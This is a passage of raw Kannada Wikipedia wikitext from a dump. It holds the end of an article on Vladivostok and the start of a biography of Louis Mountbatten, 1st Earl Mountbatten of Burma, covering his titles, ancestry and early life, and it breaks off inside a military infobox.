|en_name=Vladivostok,ವ್ಲಾಡಿವಾಸ್ಟಾಕ್ |ru_name=Владивосток |image_skyline=VladivostokGoldenHorn.jpg |image_caption=June 2014 view of Vladivostok and the [[Golden Horn Bay]] |latd=43 |latm=08 |lats= |longd=131 |longm=54 |longs= |map_label_position=bottom |image_coa=Gerbvlad2012.jpg |coa_caption= |image_flag=Flag of Vladivostok, Russia.png |flag_caption= |anthem= |anthem_ref= |holiday=First Sunday of July |holiday_ref= |federal_subject=[[Primorsky Krai]] |federal_subject_ref= |adm_data_as_of=November 2011 |adm_city_jur=Vladivostok [[City of federal subject significance|City Under Krai Jurisdiction]] |adm_city_jur_ref= |adm_ctr_of1=[[Primorsky Krai]] |adm_ctr_of1_ref= |adm_ctr_of2=Vladivostok City Under Krai Jurisdiction |adm_ctr_of2_ref= |inhabloc_cat=ನಗರ |inhabloc_cat_ref= |mun_data_as_of=December 2004 |urban_okrug_jur=Vladivostoksky Urban Okrug |urban_okrug_jur_ref= |mun_admctr_of=Vladivostoksky Urban Okrug |mun_admctr_of_ref= |leader_title=Head |leader_title_ref= |leader_name=Igor Pushkaryov |leader_name_ref= |representative_body=[[Duma of Vladivostok|Duma]] |representative_body_ref= |area_of_what= |area_as_of= |area_km2=625 |area_km2_ref=<ref name="Area">Official website of Vladivostok. [http://www.vlc.ru/city/ About Vladivostok] {{ru icon}}</ref> |pop_2010census=592034 |pop_2010census_rank=22nd |pop_2010census_ref= |pop_density= |pop_density_as_of= |pop_density_ref= |pop_latest= |pop_latest_date= |pop_latest_ref= |established_date=July&nbsp;2, 1860 |established_title= |established_date_ref=<ref name="gr">{{cite book|title=Энциклопедия Города России|year=2003|publisher=Большая Российская Энциклопедия|location=Moscow|isbn=5-7107-7399-9|page=72}}</ref> |current_cat_date=April&nbsp;22, 1880 |current_cat_date_ref= |prev_name1= |prev_name1_date= |prev_name1_ref= |postal_codes=690xxx |postal_codes_ref= |dialing_codes=4232 |dialing_codes_ref= |website=http://www.vlc.ru/ |website_ref= |commonscat=Vladivostok |date=May 2010 }} '''ವ್ಲಾಡಿವಾಸ್ಟಾಕ್''' [[ರಷ್ಯಾ]]ದ [[ಪ್ರೈಮೊರ್ಸ್ಕಿ]] ಜಿಲ್ಲೆಯ ಮುಖ್ಯ ನಗರ. [[ಪೆಸಿಫಿಕ್ ಮಹಾಸಾಗರ]]ದ ದಡದಲ್ಲಿರುವ ಅತೀ ದೊಡ್ಡ ನಗರವಿದು. [[ಗೋಲ್ಡನ್ ಹಾರ್ನ್ ಬೇ]]ದ ಉತ್ತರ ಭಾಗದಲ್ಲಿ ಈ ನಗರ ಸ್ತಿಥವಾಗಿದೆ. ==ಉಲ್ಲೇಖಗಳು== {{reflist}} ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== {{Wikinews category|Владивосток}} {{Wikivoyage|Vladivostok}} *[http://www.vlc.ru/ Official website of Vladivostok] {{Webarchive|url=https://web.archive.org/web/20101113013846/http://www.vlc.ru/ |date=2010-11-13 }} {{ru icon}} *[http://www.vl.ru/ Unofficial website of Vladivostok] {{ru icon}} *[http://maps.yandex.com/?text=%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F%2C%20%D0%9F%D1%80%D0%B8%D0%BC%D0%BE%D1%80%D1%81%D0%BA%D0%B8%D0%B9%20%D0%BA%D1%80%D0%B0%D0%B9%2C%20%D0%92%D0%BB%D0%B0%D0%B4%D0%B8%D0%B2%D0%BE%D1%81%D1%82%D0%BE%D0%BA&sll=131.928379%2C43.134019&ll=131.920602%2C43.131996&spn=0.234833%2C0.049787&z=12&l=map%2Cstv&ol=stv&oll=131.87525%2C43.122399&ost=dir%3A14.00428827777863%2C-2.362003679994399~spn%3A90%2C55.517081202120046 Panoramic views of Vladivostok] *[http://vladivostok-city.com Vladivostok City Travel Guide] *[http://www.lib.utexas.edu/maps/historical/vladivostok_1912.jpg Historical Map of Vladivostok (1912)], [[Perry-Castañeda Library]] Map Collection, [[University of Texas]], Austin. *[https://www.youtube.com/watch?v=bM6_sMRn2-g Timelapse video of Vladivostok] {{ru icon}} 8wixog3opyzed4k36kkqmask3utazi7 ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, ಬರ್ಮಾದ 1ನೆಯ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌ಬ್ಯಾಟನ್‌‌ 0 29600 1116443 1111327 2022-08-23T12:40:11Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Multiple issues|refimprove = August 2010|peacock = August 2010|lead too short = August 2010}} {{Infobox Officeholder |honorific-prefix = <small>[[Admiral of the Fleet (Royal Navy)|Admiral of the Fleet]] [[The Right Honourable]]</small><br> |name = The Earl Mountbatten of Burma |honorific-suffix = <br><small>[[Order of the Garter|KG]] [[Order of the Bath|GCB]] [[Order of Merit|OM]] [[Order of the Star of India|GCSI]] [[Order of the Indian Empire|GCIE]] [[Royal Victorian Order|GCVO]] [[Distinguished Service Order|DSO]] [[Privy Council of the United Kingdom|PC]] [[Royal Society|FRS]]</small> |image =Lord Mountbatten Naval in colour Allan Warren.jpg |office = [[Governor-General of India|Governor General of India]] |monarch = [[George VI of the United Kingdom|George VI]] |primeminister = [[Jawaharlal Nehru]] |term_start = 15 August 1947 |term_end = 21 June 1948 |predecessor = Himself <small>([[Governor-General of India|Viceroy of India]])</small> |successor = [[C. Rajagopalachari|Chakravarti Rajagopalachari]] |office2 = [[Governor-General of India|Viceroy of India]] |monarch2 = [[George VI of the United Kingdom|George VI]] |term_start2 = 12 February 1947 |term_end2 = 15 August 1947 |predecessor2 = [[Archibald Wavell, 1st Earl Wavell|Archibald Wavell]] |successor2 = Himself <small>([[Governor-General of India|Governor General of India]])</small><br>[[Muhammad Ali Jinnah]] <small>([[Governor-General of Pakistan|Governor General of Pakistan]])</small> |birth_date = {{birth date|1900|6|25|df=y}} |birth_place = [[Windsor, Berkshire|Windsor]], United Kingdom |death_date = {{death date and age|1979|8|27|1900|6|25|df=y}} |death_place = [[Mullaghmore, County Sligo|Mullaghmore]], [[Republic of Ireland|Ireland]] |spouse = [[Edwina Mountbatten, Countess Mountbatten of Burma|Edwina Ashley]] |children = [[Patricia Knatchbull, 2nd Countess Mountbatten of Burma|Patricia]]<br>[[Lady Pamela Hicks|Pamela]] |alma_mater = [[Christ's College, Cambridge]] |profession = [[Admiral of the Fleet (Royal Navy)|Admiral of the Fleet]] |religion = [[Anglicanism]] |caption=ಇವರಿಂದ ಅಲನ್ ವಾರೆನ್, 1976}} ನೌಕಾದಳಾಧಿಪತಿ '''ಲೂಯಿಸ್‌ ಫ್ರಾನ್ಸಿಸ್‌ ಆಲ್ಬರ್ಟ್‌‌ ವಿಕ್ಟರ್‌‌ ನಿಕೋಲಸ್‌‌‌‌ ಜಾರ್ಜ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಎಂಬಾತನು ಬರ್ಮಾದ ೧ನೆಯ ಅರ್ಲ್‌‌ ಅಂತಸ್ತಿನ ಮೌಂಟ್‌ಬ್ಯಾಟನ್‌‌''' ಆಗಿದ್ದು KG, GCB, OM, GCSI, GCIE, GCVO, DSO, PC, FRS (ಪೂರ್ವನಾಮ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಜಕುಮಾರ ಲೂಯಿಸ್‌ ; ೨೫ ಜೂನ್‌‌ ೧೯೦೦ – ೨೭ ಆಗಸ್ಟ್‌‌ ೧೯೭೯) ಬಿರುದಾಂಕಿತಗಳನ್ನು ಹೊಂದಿದ್ದ ಈತನು ಓರ್ವ [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಬ್ರಿಟಿಷ್‌‌]] ರಾಜನೀತಿಜ್ಞ ಮತ್ತು ನೌಕಾಪಡೆಯ ಅಧಿಕಾರಿಯಾಗಿದ್ದನಲ್ಲದೇ ಎಡಿನ್‌ಬರ್ಗ್‌ನ ಡ್ಯೂಕ್‌ ಪ್ರಭು ಫಿಲಿಪ್‌ನ ([[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಎಲಿಜಬೆತ್‌‌‌ II]]ಳ ಪತಿ) ಹಿರಿಯ ಸೋದರ ಸಂಬಂಧಿ ಆಗಿದ್ದರು. ಈತನು ಕೊನೆಯ ಭಾರತದ ವೈಸ್‌ರಾಯ್‌ (೧೯೪೭)ಆಗಿದ್ದು ೧೯೫೦ರಲ್ಲಿ ಆಧುನಿಕ [[ಭಾರತ|ಭಾರತೀಯ ಗಣರಾಜ್ಯ]]ವು ರೂಪುಗೊಳ್ಳಲು ಕಾರಣವಾದ ಸ್ವತಂತ್ರ ಭಾರತೀಯ ಒಕ್ಕೂಟದ (೧೯೪೭–೪೮) ಪ್ರಥಮ ಮಹಾಮಂಡಲಾಧಿಪತಿ ಕೂಡಾ ಆಗಿದ್ದನು. ೧೯೫೪ರಿಂದ ೧೯೫೯ರವರೆಗೆ ಸುಮಾರು ನಲವತ್ತು ವರ್ಷಗಳ ಹಿಂದೆ ಆತನ ತಂದೆ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ಪ್ರಭು ಲೂಯಿಸ್‌ನ ಹುದ್ದೆಯಾಗಿದ್ದ ಪ್ರಥಮ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಯಾಗಿದ್ದನು. ೧೯೭೯ರಲ್ಲಿ ಐರಿಷ್‌ ಗಣರಾಜ್ಯದ/ರಿಪಬ್ಲಿಕನ್‌ ಅನಧಿಕೃತ ಸೈನ್ಯವು (IRA), ಐರ್ಲೆಂಡ್‌‌ ಗಣರಾಜ್ಯದ ಸ್ಲಿಗೋ ಕೌಂಟಿಯಲ್ಲಿನ ಮುಲ್ಲಾಘ್‌‌ಮೋರ್‌‌ ಎಂಬಲ್ಲಿ ಆತನ ಮೀನು ಹಿಡಿಯುವ ದೋಣಿ ''ಷ್ಯಾಡೋ V'' ಗೆ ಬಾಂಬ್‌ ಅಳವಡಿಸಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನನ್ನು ಕೊಂದಿತ್ತು.<ref>''ದ ಲಾಂಗ್‌ ವಾರ್ '' ಬ್ರೆಂಡಾನ್‌ ಓಬ್ರಿಯೆನ್ ವಿರಚಿತ (ISBN ೯೭೮-೦-೮೧೫೬-೦೩೧೯-೧), ಪುಟ ೫೫</ref> ಆತನು ೨೦ನೆಯ ಶತಮಾನದ ಮಧ್ಯದಿಂದ ಕೊನೆಯವರೆಗಿನ ಅವಧಿಯಲ್ಲಿ ಬ್ರಿಟಿಷ್‌‌ ಸಾಮ್ರಾಜ್ಯವು ಅವನತಿ ಹೊಂದಲು ಕಾರಣವಾದ ಬಹು ಪ್ರಭಾವೀ ಹಾಗೂ ವಿವಾದಾಸ್ಪದ ವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಒಬ್ಬನಾಗಿದ್ದನು. ==ಪೂರ್ವೇತಿಹಾಸ== ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನು ''ಘನತೆವೆತ್ತ ಪ್ರಭು ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಜಕುಮಾರ ಲೂಯಿಸ್‌'' ನಾಗಿ ಜನಿಸಿದ್ದನು, ಆದರೆ ನಂತರ ೧೯೧೭ರಲ್ಲಿ ಆತನ ಜರ್ಮನ್‌‌ ನಾಮಾಂಕಿತಗಳು ಹಾಗೂ ಪದವಿಸೂಚಕಗಳನ್ನು ಕೈಬಿಡಲಾಗಿತ್ತು. ಈತನು ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ಪ್ರಭು ಲೂಯಿಸ್‌ ಮತ್ತು ಆತನ ಪತ್ನಿ ಹೆಸ್ಸೆ ಅಂಡ್‌‌ ಬೈ ರೈನ್‌‌ನ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ದಂಪತಿಗಳ ಎರಡನೆಯ ಹಾಗೂ ಕಿರಿಯ ಮಗನಾಗಿದ್ದನು. ಹೆಸ್ಸೆ ಅಂಡ್‌‌ ಬೈ ರೈನ್‌‌ನ ಪ್ರಧಾನ ಡ್ಯೂಕ್‌ ಲುಡ್ವಿಗ್‌ IV ಮತ್ತು ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ಹಾಗೂ ರಾಜಕುಟುಂಬದ ಅಳಿಯ ಆಲ್ಬರ್ಟ್‌‌ ದಂಪತಿಗಳ ಪುತ್ರಿ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌‌‌ನ ರಾಣಿ ಅಲೈಸ್‌ ದಂಪತಿಗಳು ಆತನ ತಾಯಿಯ ಕಡೆಯ ಅಜ್ಜ ಅಜ್ಜಿಯರಾಗಿದ್ದರು. ಹೆಸ್ಸೆಯ ಪ್ರಭು ಅಲೆಕ್ಸಾಂಡರ್‌‌ ಮತ್ತು ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಣಿ ಜ್ಯೂಲಿಯಾ‌ ದಂಪತಿಗಳು ಆತನ ತಂದೆಯ ಕಡೆಯ ಅಜ್ಜ ಅಜ್ಜಿಯರಾಗಿದ್ದರು. ಆತನ ತಂದೆಯ ಕಡೆಯ ಅಜ್ಜಿಯು ರಾಜ ಮನೆತನಕ್ಕೆ ಸೇರಿದವಳಾಗಿಲ್ಲದಿದ್ದುದರಿಂದ ಆತನ ಅಜ್ಜಅಜ್ಜಿಯರ ವಿವಾಹವು ಅನುಲೋಮ ವಿವಾಹವಾಗಿದ್ದುದರ ಪರಿಣಾಮವಾಗಿ, ಆತ ಮತ್ತು ಆತನ ತಂದೆಯವರಿಗೆ "ಘನತೆವೆತ್ತ ಪ್ರಭು " ಎಂಬ ಪದವಿಸೂಚಕವನ್ನು ನೀಡಲಾಗಿತ್ತು ಹಾಗೂ ಅವರುಗಳು "ಪ್ರಧಾನ ಡ್ಯೂಕ್‌‌,"ನ ಬದಲಿಗೆ ಹೆಸ್ಸೆಯ ರಾಜಕುಮಾರ ಪದವಿಸೂಚಕವನ್ನು ಹೊಂದಲು ಅರ್ಹರಾಗಿರಲಿಲ್ಲವಾದುದರಿಂದ ಅವರಿಗೆ ಕಡಿಮೆ ಮಹತ್ವದ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ ಪದವಿಸೂಚಕವನ್ನು ನೀಡಲಾಗಿತ್ತು. ಗ್ರೀಸ್‌‌ ಮತ್ತು ಡೆನ್ಮಾರ್ಕ್‌ಗಳ ರಾಣಿ ಅಲೈಸ್‌‌ (ಎಡಿನ್‌ಬರ್ಗ್‌ನ ಡ್ಯೂಕ್‌ ಪ್ರಭು ಫಿಲಿಪ್‌ನ ತಾಯಿ), ಸ್ವೀಡನ್‌‌ನ ರಾಣಿ ಲೂಯಿಸ್ಸೆ ಹಾಗೂ ಮಿಲ್‌‌ಫರ್ಡ್‌ ಹೆವನ್‌‌ನ ೨ನೆಯ ಮಾರ್ಕ್ವಿಸ್‌‌ ಆಗಿದ್ದ ಜಾರ್ಜ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರವರುಗಳು ಈತನ ರಕ್ತಸಂಬಂಧಿಗಳಾಗಿದ್ದರು.<ref>''ಬರ್ಕೆಸ್‌‌ ಗೈಡ್‌ ಟು ದ ರಾಯಲ್‌ ಫ್ಯಾಮಿಲಿ'' : ಹಗ್‌ ಮಾಂಟ್‌ಗೋಮೆರಿ -ಮ್ಯಾಸಿಂಗ್‌ಬರ್ಡ್‌ರಿಂದ ಸಂಪಾದಿತ , p. ೩೦೩.</ref> ಆತನ ತಂದೆಯ ನಲವತ್ತೈದು ವರ್ಷಗಳ ವೃತ್ತಿಜೀವನವು ಅವರು ನೌಕಾಧಿಪತ್ಯ ಕಚೇರಿಯಲ್ಲಿ ಪ್ರಥಮ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಯಾಗಿ ೧೯೧೨ರಲ್ಲಿ ನೇಮಕಾತಿಯಾದಾಗ ಶೃಂಗ ತಲುಪಿತು. ಆದಾಗ್ಯೂ ಎರಡು ವರ್ಷಗಳ ನಂತರ ೧೯೧೪ರಲ್ಲಿ ವಿಶ್ವ ಸಮರ Iರ ಮೊದಲ ಕೆಲವು ತಿಂಗಳುಗಳ ಕಾಲ ಹಾಗೂ ಸಮುದ್ರದ ಮೇಲೆ ಅನೇಕ ಕಾಳಗಗಳನ್ನು ಸೋತ ನಂತರ ಯುರೋಪ್‌‌ನಾದ್ಯಂತ ಹರಡುತ್ತಿದ್ದ ಜರ್ಮನ್‌‌ ವಿರೋಧಿ ಮನೋಭಾವನೆಯ ಪರಿಣಾಮವಾಗಿ ಪ್ರಭು ಲೂಯಿಸ್‌ರು ಆ ಸ್ಥಾನದಿಂದ ತಾನು ಕೆಳಗಿಳಿಯುವುದು ತನ್ನ ಕರ್ತವ್ಯವೆಂದು ಭಾವಿಸಿದರು.<ref>ಲಾರ್ಡ್‌‌ ಝೂಕರ್‌ಮ್ಯಾನ್‌,''ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಫ್‌ ಬರ್ಮಾ, K.G., O.M. ೨೫ ಜೂನ್‌‌ ೧೯೦೦-೨೭ ಆಗಸ್ಟ್‌‌ ೧೯೭೯,'' ಬಯೋಗ್ರಾಫಿಕಲ್‌ ಮೆಮೋಯಿರ್ಸ್‌ ಆಫ್‌ ಫೆಲೋಸ್‌ ಆಫ್‌ ದ ರಾಯಲ್‌ ಸೊಸೈಟಿ ಕೃತಿಯಲ್ಲಿ , Vol. ೨೭ (Nov., ೧೯೮೧), pp ೩೫೫-೩೬೪. ೧೩ ಮೇ ೨೦೦೯ರಂದು www.jstor.org/stable/೭೬೯೮೭೬ ವೀಕ್ಷಿಸಲಾಗಿದೆ</ref> ೧೯೧೭ರಲ್ಲಿ, ರಾಜಕುಟುಂಬವು ತಮ್ಮ ಜರ್ಮನ್‌‌ ಹೆಸರುಗಳು ಹಾಗೂ ಪದವಿಗಳನ್ನು ಬಳಸುವುದನ್ನು ನಿಲ್ಲಿಸಿದಾಗಿನಿಂದ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ಪ್ರಭು ಲೂಯಿಸ್‌ರು ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನಾಗಿ ಕರೆಯಲ್ಪಟ್ಟು ಮಿಲ್‌‌ಫರ್ಡ್‌ ಹೆವನ್‌ನ ಮಾರ್ಕ್ವಿಸ್‌‌ ಸ್ಥಾನವನ್ನು ಸೃಷ್ಟಿಸಿ ಆತನಿಗೆ ನೀಡಲಾಯಿತು. ಆತನ ಎರಡನೇ ಪುತ್ರನು ''ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ '' ಎಂಬ ಉಪಾಧಿಯನ್ನು ಪಡೆದನು ಹಾಗೂ ತೀರ ಪೂರ್ವ ಪ್ರದೇಶದಲ್ಲಿ ಯುದ್ಧಕಾಲದಲ್ಲಿ ಅವರು ನೀಡಿದ ಅತ್ಯುತ್ತಮ ಸೇವೆಗಾಗಿ ವೈಕೌಂಟ್‌ಗಿರಿ/ವೈಕೌಂಟ್‌ ಪದವಿ ಹಾಗೂ ಬ್ರಿಟಿಷ್‌‌ ಪಾರತಂತ್ರ್ಯದಿಂದ ಸರ್ವತಂತ್ರ ಸ್ವತಂತ್ರ ರಾಷ್ಟ್ರವಾಗಿ ಭಾರತದ ಸ್ಥಿತ್ಯಂತರದ ಸಮಯದಲ್ಲಿ ವಹಿಸಿದ ಪಾತ್ರಕ್ಕಾಗಿ ಅರ್ಲ್‌ ಪದವಿಯನ್ನು ನೀಡಿದ್ದು ಆತನ ಸಾವಿನವರೆಗೆ ''ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ '' ಎಂದೇ ಕರೆಸಿಕೊಳ್ಳಲ್ಪಟ್ಟನು. ==ಆರಂಭಿಕ ಜೀವನ== ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನು ತನ್ನ ಜೀವನದಲ್ಲಿನ ಮೊದಲ ಹತ್ತು ವರ್ಷಗಳ ಕಾಲ ಗೃಹಶಿಕ್ಷಣವನ್ನು ಪಡೆದನು. ಆತನನ್ನು ನಂತರ ಹರ್ಟ್‌‌ಫೋರ್ಡ್‌‌ಷೈರ್‌‌‌ನಲ್ಲಿನ ಲಾಕರ್ಸ್‌ ಪಾರ್ಕ್‌ ಶಾಲೆಗೆ ಕಳಿಸಲಾಯಿತು, ಅಂತಿಮವಾಗಿ ಆತನು ತನ್ನ ಹಿರಿಯ ಸಹೋದರನ ಹಾಗೆ ನೌಕಾಪಡೆಯ ಸೇನಾ ವಿದ್ಯಾರ್ಥಿಗಳ ಶಾಲೆ/ನೇವಲ್‌ ಕೆಡೆಟ್‌ ಶಾಲೆಗೆ ಸೇರಿಕೊಂಡನು. ಬಾಲ್ಯದಲ್ಲಿ ಆತನು [[ಸೇಂಟ್ ಪೀಟರ್ಸ್‌ಬರ್ಗ್|St ಪೀಟರ್ಸ್‌ಬರ್ಗ್‌]]ನಲ್ಲಿನ ರಷ್ಯಾದ ರಾಜರ ಆಸ್ಥಾನಕ್ಕೆ ಭೇಟಿ ನೀಡಿದ್ದನು ಹಾಗೂ ಅಳಿವಿಗೆ ಸರಿಯುತ್ತಿದ್ದ ರಷ್ಯನ್‌‌ ರಾಜ ಕುಟುಂಬದೊಂದಿಗೆ ಆತ್ಮೀಯತೆಯನ್ನು ಬೆಳೆಸಿಕೊಂಡಿದ್ದನು ; ಇನ್ನೂ ಜೀವಿಸಿರುವಳೆಂದು ತಿಳಿಯಲ್ಪಟ್ಟ ಪ್ರಧಾನ ಡಚೆಸ್‌ ಅನಾಸ್ತೇಷಿಯಾಳೆಂದು ಸೋಗು ಹಾಕಿಕೊಂಡು ಬಂದವರ ಹೇಳಿಕೆಗಳನ್ನು ಅಧಿಕಾರಯುತವಾಗಿ ಅಲ್ಲಗಳೆಯಲು ನಂತರದ ತನ್ನ ಜೀವನದಲ್ಲಿ ಆತನನ್ನು ಕರೆಸಲಾಗಿತ್ತು. ತಾನು ಯುವಕನಾಗಿದ್ದಾಗ ಆತನು ಅನಾಸ್ತೇಷಿಯಾಳ ಸಹೋದರಿ ಪ್ರಧಾನ ಡಚೆಸ್‌ ಮಾರಿಯಾಳೆಡೆಗೆ ಪ್ರೇಮಭಾವನೆಯನ್ನು ಹೊಂದಿದ್ದ, ಮಾತ್ರವಲ್ಲದೇ ತನ್ನ ಅಂತ್ಯದವರೆಗೂ ಆಕೆಯ ಭಾವಚಿತ್ರವನ್ನು ತನ್ನ ಹಾಸಿಗೆಯ ಪಕ್ಕದಲ್ಲಿ ಇಟ್ಟುಕೊಂಡಿರುತ್ತಿದ್ದ. ತನ್ನ ಅಣ್ಣನ ಪುತ್ರನ ಹೆಸರಿನ ಬದಲಾವಣೆ ಹಾಗೂ ಭವಿಷ್ಯದ ರಾಣಿಯೊಂದಿಗೆ ಆತನ ವಿವಾಹ ನಿಶ್ಚಯದ ನಂತರ, ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌‌‌ನ ರಾಜವಂಶಕ್ಕೆ ಭವಿಷ್ಯದ "ಹೌಸ್‌ ಆಫ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ "ನೆಂದು ಸೂಚಿಸಲ್ಪಟ್ಟನೆಂದು ಹೇಳಲಾದರೂ, "ಆ ಅಸಂಬದ್ಧ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ "ನ ವಿಚಾರದಲ್ಲಿ ತನಗೆ ಆಗಬೇಕಾದ್ದೇನೂ ಇಲ್ಲ ಎಂದು ರಾಜವಿಧವೆ ರಾಣಿ ಮೇರಿ ನಿರಾಕರಿಸಿದಳೆಂದು ಹೇಳಲಾಗಿದೆ. ರಾಜಮನೆತನದ ಆ ಗೃಹದ ಹೆಸರು ವಿಂಡ್ಸರ್‌‌ ಎಂದಾಯಿತು ಹಾಗೂ ತದನಂತರದ ರಾಜಶಾಸನದ ಮೂಲಕ ಅದೇ ಹೆಸರಿನಲ್ಲಿಯೇ ಉಳಿಯಿತು. ಆದಾಗ್ಯೂ ಈ ಹೆಸರನ್ನು ಪ್ರಭುತ್ವದ ಇಚ್ಛೆಯ ಮೇರೆಗೆ ಬದಲಿಸಬಹುದಾಗಿದೆ. [[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಎಲಿಜಬೆತ್‌‌‌ II]] ಮತ್ತು ಪ್ರಭು ಫಿಲಿಪ್‌ರ ವಿವಾಹವಾದ ನಂತರ ಅವರ ರಾಜಕುಟುಂಬಕ್ಕೆ ಸೇರಿಲ್ಲದ ವಂಶಸ್ಥರು (ತಾಯಿಯ ಕಡೆಯ) ಅಡ್ಡಹೆಸರು "ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ -ವಿಂಡ್ಸರ್‌‌ " ಎಂದು ಕರೆಸಿಕೊಳ್ಳಬೇಕೆಂದು ಶಾಸನ ಹೊರಡಿಸಲಾಗಿತ್ತು. ಮಹಾರಾಜನ ಶವಸಂಸ್ಕಾರಗಳು ಅಂತ್ಯಗೊಂಡ ಒಂದು ವಾರದೊಳಗೆಯೇ ಹೊಸ ರಾಣಿಯ ಸೋದರಸಂಬಂಧಿ ಡಿಕೀ (ಎಂದರೆ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌) ಎಂಬಾತ ಬ್ರಾಡ್‌ಲ್ಯಾಂಡ್ಸ್‌‌ನಲ್ಲಿನ ಅತಿಥಿಗಳಿಗೆ "ಹೌಸ್‌ ಆಫ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಈಗ ಅಧಿಪತ್ಯವನ್ನು ನಡೆಸಲಿದೆ !" ಎಂದು ಘೋಷಿಸಿದ್ದರು<ref>ವಾರ್‌ ಆಫ್‌ ದ ವಿಂಡ್ಸರ್‌‌ಸ್,೨೦೦೨</ref> {{ahnentafel top|width=100%}} {{ahnentafel-compact5 |style=font-size: 90%; line-height: 110%; |border=1 |boxstyle=padding-top: 0; padding-bottom: 0; |boxstyle_1=background-color: #fcc; |boxstyle_2=background-color: #fb9; |boxstyle_3=background-color: #ffc; |boxstyle_4=background-color: #bfc; |boxstyle_5=background-color: #9fe; |1= 1. '''Louis Mountbatten, 1st Earl Mountbatten of Burma''' |2= 2. [[Prince Louis of Battenberg]] |3= 3. [[Princess Victoria of Hesse and by Rhine]] |4= 4. [[Prince Alexander of Hesse and by Rhine]] |5= 5. [[Julia Hauke|Countess Julia Hauke]] |6= 6. [[Louis IV, Grand Duke of Hesse|Louis IV, Grand Duke of Hesse and by Rhine]] |7= 7. [[Princess Alice of the United Kingdom]] |8= 8. [[Louis II, Grand Duke of Hesse|Louis II, Grand Duke of Hesse and by Rhine]] |9= 9. [[Princess Wilhelmine of Baden]] |10= 10. [[John Maurice Hauke|Count John Maurice Hauke]] |11= 11. Sophie de la Fontaine |12= 12. [[Prince Karl of Hesse and by Rhine]] |13= 13. [[Princess Elizabeth of Prussia]] |14= 14. [[Albert, Prince Consort]] |15= 15. [[Queen Victoria]] |16= 16. [[Louis I, Grand Duke of Hesse|Louis I, Grand Duke of Hesse and by Rhine]] |17= 17. Landgravine Louise of Hesse-Darmstadt |18= 18. [[Charles Louis, Hereditary Prince of Baden]] |19= 19. [[Landgravine Amalie of Hesse-Darmstadt]] |20= 20. Count Friedrich Carl Emanuel Hauke |21= 21. Maria Salomé Schweppenhäuser |22= 22. Franz Anton Leopold de la Fontaine |23= 23. Maria Theresia Kornély |24= 24. [[Louis II, Grand Duke of Hesse|Louis II, Grand Duke of Hesse and by Rhine]] (= 8) |25= 25. [[Princess Wilhelmine of Baden]] (= 9) |26= 26. [[Prince Wilhelm of Prussia (1783–1851)|Prince Wilhelm of Prussia]] |27= 27. Landgravine Marie Anna of Hesse-Homburg |28= 28. [[Ernest I, Duke of Saxe-Coburg and Gotha]] |29= 29. [[Princess Louise of Saxe-Gotha-Altenburg (1800–1831)|Princess Louise of Saxe-Gotha-Altenburg]] |30= 30. [[Prince Edward, Duke of Kent and Strathearn]] |31= 31. [[Princess Victoria of Saxe-Coburg-Saalfeld]] }} {{ahnentafel bottom}} ==ವೃತ್ತಿಜೀವನ== {{Infobox military person |name= The Earl Mountbatten of Burma |lived= 25 June 1900 &ndash; 27 August 1979 |placeofbirth= [[Frogmore House]], [[Windsor, Berkshire|Windsor]], [[Berkshire]] |placeofdeath= [[Mullaghmore, County Sligo]], [[ಐರ್ಲೆಂಡ್‌ ಗಣರಾಜ್ಯ]] |image= |caption= Admiral of the Fleet The Earl Mountbatten of Burma |nickname=Dickie |allegiance= {{Flag icon|United Kingdom}} United Kingdom |serviceyears=೧೯೧೩-೧೯೬೫ |rank= [[Admiral of the Fleet]] |branch=[[Image:Naval Ensign of the United Kingdom.svg|23px]] [[Royal Navy]] |commands=[[HMS Daring]] (೧೯೩೪)<br>[[HMS Wishart]] (೧೯೩೪-೧೯೩೬)<br>[[HMS Kelly]] (೧೯೩೯-೧೯೪೧)<br>[[HMS Illustrious (R87)|HMS Illustrious]] (Aug.-Oct ೧೯೪೧)<br>Chief of [[Combined Operations]] 